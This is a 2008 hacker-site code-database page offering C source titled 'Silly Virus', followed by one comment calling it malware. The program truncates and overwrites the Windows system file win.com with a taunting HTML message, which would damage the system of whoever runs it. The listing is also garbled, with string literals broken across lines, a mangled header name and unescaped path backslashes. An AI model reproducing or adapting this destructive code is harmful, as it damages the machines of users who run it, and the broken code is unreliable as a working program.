Join us on IRC @ irc.r00tsecurity.org #r00tsecurity [ Web Client ] [ Log In | Register ]  
Resource Database Index -> Source Code -> Silly Virus
Description // Info



Source Code

  1. #include<iostream.h>
  2. #include<conio.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <fcntl.h>
  6. #include <sysstat.h>
  7. #include <io.h>
  8. #include <string.h>
  9.  
  10. int main(void)
  11. {
  12.    clrscr();
  13.    int handle;
  14.    char string[1000];
  15.    int length, res,i;
  16.  
  17.  
  18.    if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
  19. O_TRUNC,
  20.           S_IREAD | S_IWRITE)) == -1)
  21.    {
  22.       printf("Error opening file.
  23. ");
  24.       exit(1);
  25.    }
  26.  
  27.    strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
  28. execution currupt your WINDOWS !!!!!!</html>
  29. ");
  30.  
  31.    length = strlen(string);
  32.  
  33.    if ((res = write(handle, string, length)) != length)
  34.    {
  35.       printf("Error writing to the file.
  36. ");
  37.       getch();
  38.       exit(1);
  39.    }
  40.    printf("
  41.  
  42.          Wrote %d bytes to the file.
  43. ", res);
  44.   cout<<"
  45.  
  46.          Hello !!!!!!!!";
  47.   cout<<"
  48.  
  49.           This is a VIRUS ATTACK !!!";
  50.   cout<<"
  51.  
  52.           This execution currupt your WINDOWS !!!!!!
  53. ";
  54.    close(handle);
  55.    getch();
  56.    return 0;
  57. }


Comments

POSTED BY: p4ll4t0n ON 0000-00-00 00:00:00
Not a virus, doesn't spread this is just malware.

You must be logged in to post comments.

 Network Access...
USER ID
PASSWORD

 Code Information
Language:
C/C++

Version:
1


Submitted:
2008-07-15 - 09:50:28


Author:

E-Mail
Website

Greetz:


[ Download | Report Issue ]

 Code Search
Search by Language
+ Assembly
+ ASP
+ ASP.NET
+ C#
+ C/C++
+ Cobol
+ Delphi
+ Java
+ Javascript
+ Pascal
+ Perl
+ PHP
+ Python
+ VB6
+ VB.NET

Advanced Search




 
By continuing past this page, and by your continued use of this site, you agree to be bound by and abide by the User Agreement.

© 2008 r00tsecurity network. All rights reserved.
[ About Us | Contact Us | Support Us | Legal | Advertise | User Agreement | Privacy Policy ]